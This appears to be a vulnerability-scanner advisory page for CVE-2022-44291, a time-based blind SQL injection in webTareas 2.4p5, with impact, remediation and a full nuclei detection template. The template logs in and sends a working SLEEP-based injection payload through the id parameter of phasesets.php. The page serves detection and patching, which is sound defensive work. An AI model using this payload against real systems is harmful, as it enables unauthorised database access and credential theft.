WebTareas 2.4p5 - SQL Injection

criticalseverity

9.8CVSS score

4.1%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

webTareas 2.4p5 was discovered to contain a SQL injection vulnerability via the id parameter in phasesets.php.

Impact

Authenticated attackers can execute time-based blind SQL injection through the id parameter in phasesets.php, potentially extracting sensitive database information including project phases, task data, and user credentials from WebTareas.

Fix

Update WebTareas to a version later than 2.4p5 that properly sanitizes and parameterizes the id parameter in phasesets.php.

How to confirm it

Send: POST /general/login.php?session=false ; @timeout: 20s
Positive when: duration_2>=6 and len(body_2) == 0 and status_code_2 == 302 and contains(header_2, "text/html") and contains(body_1, "webTareasSID")

Run it with nuclei: nuclei -id CVE-2022-44291 -u <target>

The full check

id: CVE-2022-44291

info:
  name: WebTareas 2.4p5 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    webTareas 2.4p5 was discovered to contain a SQL injection vulnerability via the id parameter in phasesets.php.
  impact: |
    Authenticated attackers can execute time-based blind SQL injection through the id parameter in phasesets.php, potentially extracting sensitive database information including project phases, task data, and user credentials from WebTareas.
  remediation: |
    Update WebTareas to a version later than 2.4p5 that properly sanitizes and parameterizes the id parameter in phasesets.php.
  reference:
    - http://webtareas.com/
    - https://github.com/anhdq201/webtareas/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44291
    - http://webtareas.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-44291
    cwe-id: CWE-89
    epss-score: 0.04133
    epss-percentile: 0.90913
    cpe: cpe:2.3:a:webtareas_project:webtareas:2.4:p5:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: webtareas_project
    product: webtareas
  tags: time-based-sqli,cve,cve2022,sqli,webtareas,authenticated,intrusive,webtareas_project,vuln

http:
  - raw:
      - |
        POST /general/login.php?session=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------3023071625140724693672385525

        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="action"

        login
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="loginForm"

        {{username}}
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="passwordForm"

        {{password}}
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="loginSubmit"

        Log In
        -----------------------------3023071625140724693672385525--
      - |
        @timeout: 20s
        GET /administration/phasesets.php?mode=delete&id=1)+AND+(SELECT+3830+FROM+(SELECT(SLEEP(6)))MbGE)+AND+(6162=6162 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'len(body_2) == 0'
          - 'status_code_2 == 302'
          - 'contains(header_2, "text/html")'
          - 'contains(body_1, "webTareasSID")'
        condition: and

References

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